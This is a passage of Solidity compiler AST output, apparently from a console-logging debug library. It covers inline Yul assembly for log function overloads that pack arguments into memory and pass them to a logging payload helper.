:{"name":"writeString","nativeSrc":"144198:11:22","nodeType":"YulIdentifier","src":"144198:11:22"},"nativeSrc":"144198:21:22","nodeType":"YulFunctionCall","src":"144198:21:22"},"nativeSrc":"144198:21:22","nodeType":"YulExpressionStatement","src":"144198:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38420,"isOffset":false,"isSlot":false,"src":"143674:2:22","valueSize":1},{"declaration":38423,"isOffset":false,"isSlot":false,"src":"143704:2:22","valueSize":1},{"declaration":38426,"isOffset":false,"isSlot":false,"src":"143734:2:22","valueSize":1},{"declaration":38429,"isOffset":false,"isSlot":false,"src":"143764:2:22","valueSize":1},{"declaration":38432,"isOffset":false,"isSlot":false,"src":"143794:2:22","valueSize":1},{"declaration":38435,"isOffset":false,"isSlot":false,"src":"143824:2:22","valueSize":1},{"declaration":38438,"isOffset":false,"isSlot":false,"src":"143854:2:22","valueSize":1},{"declaration":38441,"isOffset":false,"isSlot":false,"src":"143884:2:22","valueSize":1},{"declaration":38444,"isOffset":false,"isSlot":false,"src":"143914:2:22","valueSize":1},{"declaration":38410,"isOffset":false,"isSlot":false,"src":"144057:2:22","valueSize":1},{"declaration":38412,"isOffset":false,"isSlot":false,"src":"144182:2:22","valueSize":1},{"declaration":38414,"isOffset":false,"isSlot":false,"src":"144117:2:22","valueSize":1},{"declaration":38416,"isOffset":false,"isSlot":false,"src":"144216:2:22","valueSize":1}],"id":38446,"nodeType":"InlineAssembly","src":"143296:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38448,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"144254:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":38449,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"144260:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":38447,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"144238:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38450,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"144238:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38451,"nodeType":"ExpressionStatement","src":"144238:28:22"},{"AST":{"nativeSrc":"144285:273:22","nodeType":"YulBlock","src":"144285:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"144306:4:22","nodeType":"YulLiteral","src":"144306:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"144312:2:22","nodeType":"YulIdentifier","src":"144312:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144299:6:22","nodeType":"YulIdentifier","src":"144299:6:22"},"nativeSrc":"144299:16:22","nodeType":"YulFunctionCall","src":"144299:16:22"},"nativeSrc":"144299:16:22","nodeType":"YulExpressionStatement","src":"144299:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144335:4:22","nodeType":"YulLiteral","src":"144335:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"144341:2:22","nodeType":"YulIdentifier","src":"144341:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144328:6:22","nodeType":"YulIdentifier","src":"144328:6:22"},"nativeSrc":"144328:16:22","nodeType":"YulFunctionCall","src":"144328:16:22"},"nativeSrc":"144328:16:22","nodeType":"YulExpressionStatement","src":"144328:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144364:4:22","nodeType":"YulLiteral","src":"144364:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"144370:2:22","nodeType":"YulIdentifier","src":"144370:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144357:6:22","nodeType":"YulIdentifier","src":"144357:6:22"},"nativeSrc":"144357:16:22","nodeType":"YulFunctionCall","src":"144357:16:22"},"nativeSrc":"144357:16:22","nodeType":"YulExpressionStatement","src":"144357:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144393:4:22","nodeType":"YulLiteral","src":"144393:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"144399:2:22","nodeType":"YulIdentifier","src":"144399:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144386:6:22","nodeType":"YulIdentifier","src":"144386:6:22"},"nativeSrc":"144386:16:22","nodeType":"YulFunctionCall","src":"144386:16:22"},"nativeSrc":"144386:16:22","nodeType":"YulExpressionStatement","src":"144386:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144422:4:22","nodeType":"YulLiteral","src":"144422:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"144428:2:22","nodeType":"YulIdentifier","src":"144428:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144415:6:22","nodeType":"YulIdentifier","src":"144415:6:22"},"nativeSrc":"144415:16:22","nodeType":"YulFunctionCall","src":"144415:16:22"},"nativeSrc":"144415:16:22","nodeType":"YulExpressionStatement","src":"144415:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144451:4:22","nodeType":"YulLiteral","src":"144451:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"144457:2:22","nodeType":"YulIdentifier","src":"144457:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144444:6:22","nodeType":"YulIdentifier","src":"144444:6:22"},"nativeSrc":"144444:16:22","nodeType":"YulFunctionCall","src":"144444:16:22"},"nativeSrc":"144444:16:22","nodeType":"YulExpressionStatement","src":"144444:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144480:4:22","nodeType":"YulLiteral","src":"144480:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"144486:2:22","nodeType":"YulIdentifier","src":"144486:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144473:6:22","nodeType":"YulIdentifier","src":"144473:6:22"},"nativeSrc":"144473:16:22","nodeType":"YulFunctionCall","src":"144473:16:22"},"nativeSrc":"144473:16:22","nodeType":"YulExpressionStatement","src":"144473:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144509:4:22","nodeType":"YulLiteral","src":"144509:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"144515:2:22","nodeType":"YulIdentifier","src":"144515:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144502:6:22","nodeType":"YulIdentifier","src":"144502:6:22"},"nativeSrc":"144502:16:22","nodeType":"YulFunctionCall","src":"144502:16:22"},"nativeSrc":"144502:16:22","nodeType":"YulExpressionStatement","src":"144502:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"144538:5:22","nodeType":"YulLiteral","src":"144538:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"144545:2:22","nodeType":"YulIdentifier","src":"144545:2:22"}],"functionName":{"name":"mstore","nativeSrc":"144531:6:22","nodeType":"YulIdentifier","src":"144531:6:22"},"nativeSrc":"144531:17:22","nodeType":"YulFunctionCall","src":"144531:17:22"},"nativeSrc":"144531:17:22","nodeType":"YulExpressionStatement","src":"144531:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38420,"isOffset":false,"isSlot":false,"src":"144312:2:22","valueSize":1},{"declaration":38423,"isOffset":false,"isSlot":false,"src":"144341:2:22","valueSize":1},{"declaration":38426,"isOffset":false,"isSlot":false,"src":"144370:2:22","valueSize":1},{"declaration":38429,"isOffset":false,"isSlot":false,"src":"144399:2:22","valueSize":1},{"declaration":38432,"isOffset":false,"isSlot":false,"src":"144428:2:22","valueSize":1},{"declaration":38435,"isOffset":false,"isSlot":false,"src":"144457:2:22","valueSize":1},{"declaration":38438,"isOffset":false,"isSlot":false,"src":"144486:2:22","valueSize":1},{"declaration":38441,"isOffset":false,"isSlot":false,"src":"144515:2:22","valueSize":1},{"declaration":38444,"isOffset":false,"isSlot":false,"src":"144545:2:22","valueSize":1}],"id":38452,"nodeType":"InlineAssembly","src":"144276:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"143043:3:22","parameters":{"id":38417,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38410,"mutability":"mutable","name":"p0","nameLocation":"143055:2:22","nodeType":"VariableDeclaration","scope":38454,"src":"143047:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38409,"name":"address","nodeType":"ElementaryTypeName","src":"143047:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38412,"mutability":"mutable","name":"p1","nameLocation":"143067:2:22","nodeType":"VariableDeclaration","scope":38454,"src":"143059:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38411,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143059:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38414,"mutability":"mutable","name":"p2","nameLocation":"143076:2:22","nodeType":"VariableDeclaration","scope":38454,"src":"143071:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38413,"name":"bool","nodeType":"ElementaryTypeName","src":"143071:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":38416,"mutability":"mutable","name":"p3","nameLocation":"143088:2:22","nodeType":"VariableDeclaration","scope":38454,"src":"143080:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38415,"name":"bytes32","nodeType":"ElementaryTypeName","src":"143080:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"143046:45:22"},"returnParameters":{"id":38418,"nodeType":"ParameterList","parameters":[],"src":"143106:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38494,"nodeType":"FunctionDefinition","src":"144570:1340:22","nodes":[],"body":{"id":38493,"nodeType":"Block","src":"144645:1265:22","nodes":[],"statements":[{"assignments":[38466],"declarations":[{"constant":false,"id":38466,"mutability":"mutable","name":"m0","nameLocation":"144663:2:22","nodeType":"VariableDeclaration","scope":38493,"src":"144655:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38465,"name":"bytes32","nodeType":"ElementaryTypeName","src":"144655:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38467,"nodeType":"VariableDeclarationStatement","src":"144655:10:22"},{"assignments":[38469],"declarations":[{"constant":false,"id":38469,"mutability":"mutable","name":"m1","nameLocation":"144683:2:22","nodeType":"VariableDeclaration","scope":38493,"src":"144675:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38468,"name":"bytes32","nodeType":"ElementaryTypeName","src":"144675:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38470,"nodeType":"VariableDeclarationStatement","src":"144675:10:22"},{"assignments":[38472],"declarations":[{"constant":false,"id":38472,"mutability":"mutable","name":"m2","nameLocation":"144703:2:22","nodeType":"VariableDeclaration","scope":38493,"src":"144695:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38471,"name":"bytes32","nodeType":"ElementaryTypeName","src":"144695:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38473,"nodeType":"VariableDeclarationStatement","src":"144695:10:22"},{"assignments":[38475],"declarations":[{"constant":false,"id":38475,"mutability":"mutable","name":"m3","nameLocation":"144723:2:22","nodeType":"VariableDeclaration","scope":38493,"src":"144715:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38474,"name":"bytes32","nodeType":"ElementaryTypeName","src":"144715:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38476,"nodeType":"VariableDeclarationStatement","src":"144715:10:22"},{"assignments":[38478],"declarations":[{"constant":false,"id":38478,"mutability":"mutable","name":"m4","nameLocation":"144743:2:22","nodeType":"VariableDeclaration","scope":38493,"src":"144735:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38477,"name":"bytes32","nodeType":"ElementaryTypeName","src":"144735:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38479,"nodeType":"VariableDeclarationStatement","src":"144735:10:22"},{"assignments":[38481],"declarations":[{"constant":false,"id":38481,"mutability":"mutable","name":"m5","nameLocation":"144763:2:22","nodeType":"VariableDeclaration","scope":38493,"src":"144755:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38480,"name":"bytes32","nodeType":"ElementaryTypeName","src":"144755:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38482,"nodeType":"VariableDeclarationStatement","src":"144755:10:22"},{"assignments":[38484],"declarations":[{"constant":false,"id":38484,"mutability":"mutable","name":"m6","nameLocation":"144783:2:22","nodeType":"VariableDeclaration","scope":38493,"src":"144775:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38483,"name":"bytes32","nodeType":"ElementaryTypeName","src":"144775:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38485,"nodeType":"VariableDeclarationStatement","src":"144775:10:22"},{"AST":{"nativeSrc":"144804:831:22","nodeType":"YulBlock","src":"144804:831:22","statements":[{"body":{"nativeSrc":"144847:313:22","nodeType":"YulBlock","src":"144847:313:22","statements":[{"nativeSrc":"144865:15:22","nodeType":"YulVariableDeclaration","src":"144865:15:22","value":{"kind":"number","nativeSrc":"144879:1:22","nodeType":"YulLiteral","src":"144879:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"144869:6:22","nodeType":"YulTypedName","src":"144869:6:22","type":""}]},{"body":{"nativeSrc":"144950:40:22","nodeType":"YulBlock","src":"144950:40:22","statements":[{"body":{"nativeSrc":"144979:9:22","nodeType":"YulBlock","src":"144979:9:22","statements":[{"nativeSrc":"144981:5:22","nodeType":"YulBreak","src":"144981:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"144967:6:22","nodeType":"YulIdentifier","src":"144967:6:22"},{"name":"w","nativeSrc":"144975:1:22","nodeType":"YulIdentifier","src":"144975:1:22"}],"functionName":{"name":"byte","nativeSrc":"144962:4:22","nodeType":"YulIdentifier","src":"144962:4:22"},"nativeSrc":"144962:15:22","nodeType":"YulFunctionCall","src":"144962:15:22"}],"functionName":{"name":"iszero","nativeSrc":"144955:6:22","nodeType":"YulIdentifier","src":"144955:6:22"},"nativeSrc":"144955:23:22","nodeType":"YulFunctionCall","src":"144955:23:22"},"nativeSrc":"144952:36:22","nodeType":"YulIf","src":"144952:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"144907:6:22","nodeType":"YulIdentifier","src":"144907:6:22"},{"kind":"number","nativeSrc":"144915:4:22","nodeType":"YulLiteral","src":"144915:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"144904:2:22","nodeType":"YulIdentifier","src":"144904:2:22"},"nativeSrc":"144904:16:22","nodeType":"YulFunctionCall","src":"144904:16:22"},"nativeSrc":"144897:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"144921:28:22","nodeType":"YulBlock","src":"144921:28:22","statements":[{"nativeSrc":"144923:24:22","nodeType":"YulAssignment","src":"144923:24:22","value":{"arguments":[{"name":"length","nativeSrc":"144937:6:22","nodeType":"YulIdentifier","src":"144937:6:22"},{"kind":"number","nativeSrc":"144945:1:22","nodeType":"YulLiteral","src":"144945:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"144933:3:22","nodeType":"YulIdentifier","src":"144933:3:22"},"nativeSrc":"144933:14:22","nodeType":"YulFunctionCall","src":"144933:14:22"},"variableNames":[{"name":"length","nativeSrc":"144923:6:22","nodeType":"YulIdentifier","src":"144923:6:22"}]}]},"pre":{"nativeSrc":"144901:2:22","nodeType":"YulBlock","src":"144901:2:22","statements":[]},"src":"144897:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"145014:3:22","nodeType":"YulIdentifier","src":"145014:3:22"},{"name":"length","nativeSrc":"145019:6:22","nodeType":"YulIdentifier","src":"145019:6:22"}],"functionName":{"name":"mstore","nativeSrc":"145007:6:22","nodeType":"YulIdentifier","src":"145007:6:22"},"nativeSrc":"145007:19:22","nodeType":"YulFunctionCall","src":"145007:19:22"},"nativeSrc":"145007:19:22","nodeType":"YulExpressionStatement","src":"145007:19:22"},{"nativeSrc":"145043:37:22","nodeType":"YulVariableDeclaration","src":"145043:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"145060:3:22","nodeType":"YulLiteral","src":"145060:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"145069:1:22","nodeType":"YulLiteral","src":"145069:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"145072:6:22","nodeType":"YulIdentifier","src":"145072:6:22"}],"functionName":{"name":"shl","nativeSrc":"145065:3:22","nodeType":"YulIdentifier","src":"145065:3:22"},"nativeSrc":"145065:14:22","nodeType":"YulFunctionCall","src":"145065:14:22"}],"functionName":{"name":"sub","nativeSrc":"145056:3:22","nodeType":"YulIdentifier","src":"145056:3:22"},"nativeSrc":"145056:24:22","nodeType":"YulFunctionCall","src":"145056:24:22"},"variables":[{"name":"shift","nativeSrc":"145047:5:22","nodeType":"YulTypedName","src":"145047:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"145108:3:22","nodeType":"YulIdentifier","src":"145108:3:22"},{"kind":"number","nativeSrc":"145113:4:22","nodeType":"YulLiteral","src":"145113:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"145104:3:22","nodeType":"YulIdentifier","src":"145104:3:22"},"nativeSrc":"145104:14:22","nodeType":"YulFunctionCall","src":"145104:14:22"},{"arguments":[{"name":"shift","nativeSrc":"145124:5:22","nodeType":"YulIdentifier","src":"145124:5:22"},{"arguments":[{"name":"shift","nativeSrc":"145135:5:22","nodeType":"YulIdentifier","src":"145135:5:22"},{"name":"w","nativeSrc":"145142:1:22","nodeType":"YulIdentifier","src":"145142:1:22"}],"functionName":{"name":"shr","nativeSrc":"145131:3:22","nodeType":"YulIdentifier","src":"145131:3:22"},"nativeSrc":"145131:13:22","nodeType":"YulFunctionCall","src":"145131:13:22"}],"functionName":{"name":"shl","nativeSrc":"145120:3:22","nodeType":"YulIdentifier","src":"145120:3:22"},"nativeSrc":"145120:25:22","nodeType":"YulFunctionCall","src":"145120:25:22"}],"functionName":{"name":"mstore","nativeSrc":"145097:6:22","nodeType":"YulIdentifier","src":"145097:6:22"},"nativeSrc":"145097:49:22","nodeType":"YulFunctionCall","src":"145097:49:22"},"nativeSrc":"145097:49:22","nodeType":"YulExpressionStatement","src":"145097:49:22"}]},"name":"writeString","nativeSrc":"144818:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"144839:3:22","nodeType":"YulTypedName","src":"144839:3:22","type":""},{"name":"w","nativeSrc":"144844:1:22","nodeType":"YulTypedName","src":"144844:1:22","type":""}],"src":"144818:342:22"},{"nativeSrc":"145173:17:22","nodeType":"YulAssignment","src":"145173:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"145185:4:22","nodeType":"YulLiteral","src":"145185:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"145179:5:22","nodeType":"YulIdentifier","src":"145179:5:22"},"nativeSrc":"145179:11:22","nodeType":"YulFunctionCall","src":"145179:11:22"},"variableNames":[{"name":"m0","nativeSrc":"145173:2:22","nodeType":"YulIdentifier","src":"145173:2:22"}]},{"nativeSrc":"145203:17:22","nodeType":"YulAssignment","src":"145203:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"145215:4:22","nodeType":"YulLiteral","src":"145215:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"145209:5:22","nodeType":"YulIdentifier","src":"145209:5:22"},"nativeSrc":"145209:11:22","nodeType":"YulFunctionCall","src":"145209:11:22"},"variableNames":[{"name":"m1","nativeSrc":"145203:2:22","nodeType":"YulIdentifier","src":"145203:2:22"}]},{"nativeSrc":"145233:17:22","nodeType":"YulAssignment","src":"145233:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"145245:4:22","nodeType":"YulLiteral","src":"145245:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"145239:5:22","nodeType":"YulIdentifier","src":"145239:5:22"},"nativeSrc":"145239:11:22","nodeType":"YulFunctionCall","src":"145239:11:22"},"variableNames":[{"name":"m2","nativeSrc":"145233:2:22","nodeType":"YulIdentifier","src":"145233:2:22"}]},{"nativeSrc":"145263:17:22","nodeType":"YulAssignment","src":"145263:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"145275:4:22","nodeType":"YulLiteral","src":"145275:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"145269:5:22","nodeType":"YulIdentifier","src":"145269:5:22"},"nativeSrc":"145269:11:22","nodeType":"YulFunctionCall","src":"145269:11:22"},"variableNames":[{"name":"m3","nativeSrc":"145263:2:22","nodeType":"YulIdentifier","src":"145263:2:22"}]},{"nativeSrc":"145293:17:22","nodeType":"YulAssignment","src":"145293:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"145305:4:22","nodeType":"YulLiteral","src":"145305:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"145299:5:22","nodeType":"YulIdentifier","src":"145299:5:22"},"nativeSrc":"145299:11:22","nodeType":"YulFunctionCall","src":"145299:11:22"},"variableNames":[{"name":"m4","nativeSrc":"145293:2:22","nodeType":"YulIdentifier","src":"145293:2:22"}]},{"nativeSrc":"145323:17:22","nodeType":"YulAssignment","src":"145323:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"145335:4:22","nodeType":"YulLiteral","src":"145335:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"145329:5:22","nodeType":"YulIdentifier","src":"145329:5:22"},"nativeSrc":"145329:11:22","nodeType":"YulFunctionCall","src":"145329:11:22"},"variableNames":[{"name":"m5","nativeSrc":"145323:2:22","nodeType":"YulIdentifier","src":"145323:2:22"}]},{"nativeSrc":"145353:17:22","nodeType":"YulAssignment","src":"145353:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"145365:4:22","nodeType":"YulLiteral","src":"145365:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"145359:5:22","nodeType":"YulIdentifier","src":"145359:5:22"},"nativeSrc":"145359:11:22","nodeType":"YulFunctionCall","src":"145359:11:22"},"variableNames":[{"name":"m6","nativeSrc":"145353:2:22","nodeType":"YulIdentifier","src":"145353:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145456:4:22","nodeType":"YulLiteral","src":"145456:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"145462:10:22","nodeType":"YulLiteral","src":"145462:10:22","type":"","value":"0x63183678"}],"functionName":{"name":"mstore","nativeSrc":"145449:6:22","nodeType":"YulIdentifier","src":"145449:6:22"},"nativeSrc":"145449:24:22","nodeType":"YulFunctionCall","src":"145449:24:22"},"nativeSrc":"145449:24:22","nodeType":"YulExpressionStatement","src":"145449:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145493:4:22","nodeType":"YulLiteral","src":"145493:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"145499:2:22","nodeType":"YulIdentifier","src":"145499:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145486:6:22","nodeType":"YulIdentifier","src":"145486:6:22"},"nativeSrc":"145486:16:22","nodeType":"YulFunctionCall","src":"145486:16:22"},"nativeSrc":"145486:16:22","nodeType":"YulExpressionStatement","src":"145486:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145522:4:22","nodeType":"YulLiteral","src":"145522:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"145528:4:22","nodeType":"YulLiteral","src":"145528:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"145515:6:22","nodeType":"YulIdentifier","src":"145515:6:22"},"nativeSrc":"145515:18:22","nodeType":"YulFunctionCall","src":"145515:18:22"},"nativeSrc":"145515:18:22","nodeType":"YulExpressionStatement","src":"145515:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145553:4:22","nodeType":"YulLiteral","src":"145553:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"145559:2:22","nodeType":"YulIdentifier","src":"145559:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145546:6:22","nodeType":"YulIdentifier","src":"145546:6:22"},"nativeSrc":"145546:16:22","nodeType":"YulFunctionCall","src":"145546:16:22"},"nativeSrc":"145546:16:22","nodeType":"YulExpressionStatement","src":"145546:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145582:4:22","nodeType":"YulLiteral","src":"145582:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"145588:2:22","nodeType":"YulIdentifier","src":"145588:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145575:6:22","nodeType":"YulIdentifier","src":"145575:6:22"},"nativeSrc":"145575:16:22","nodeType":"YulFunctionCall","src":"145575:16:22"},"nativeSrc":"145575:16:22","nodeType":"YulExpressionStatement","src":"145575:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145616:4:22","nodeType":"YulLiteral","src":"145616:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"145622:2:22","nodeType":"YulIdentifier","src":"145622:2:22"}],"functionName":{"name":"writeString","nativeSrc":"145604:11:22","nodeType":"YulIdentifier","src":"145604:11:22"},"nativeSrc":"145604:21:22","nodeType":"YulFunctionCall","src":"145604:21:22"},"nativeSrc":"145604:21:22","nodeType":"YulExpressionStatement","src":"145604:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38466,"isOffset":false,"isSlot":false,"src":"145173:2:22","valueSize":1},{"declaration":38469,"isOffset":false,"isSlot":false,"src":"145203:2:22","valueSize":1},{"declaration":38472,"isOffset":false,"isSlot":false,"src":"145233:2:22","valueSize":1},{"declaration":38475,"isOffset":false,"isSlot":false,"src":"145263:2:22","valueSize":1},{"declaration":38478,"isOffset":false,"isSlot":false,"src":"145293:2:22","valueSize":1},{"declaration":38481,"isOffset":false,"isSlot":false,"src":"145323:2:22","valueSize":1},{"declaration":38484,"isOffset":false,"isSlot":false,"src":"145353:2:22","valueSize":1},{"declaration":38456,"isOffset":false,"isSlot":false,"src":"145499:2:22","valueSize":1},{"declaration":38458,"isOffset":false,"isSlot":false,"src":"145622:2:22","valueSize":1},{"declaration":38460,"isOffset":false,"isSlot":false,"src":"145559:2:22","valueSize":1},{"declaration":38462,"isOffset":false,"isSlot":false,"src":"145588:2:22","valueSize":1}],"id":38486,"nodeType":"InlineAssembly","src":"144795:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38488,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"145660:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38489,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"145666:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38487,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"145644:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 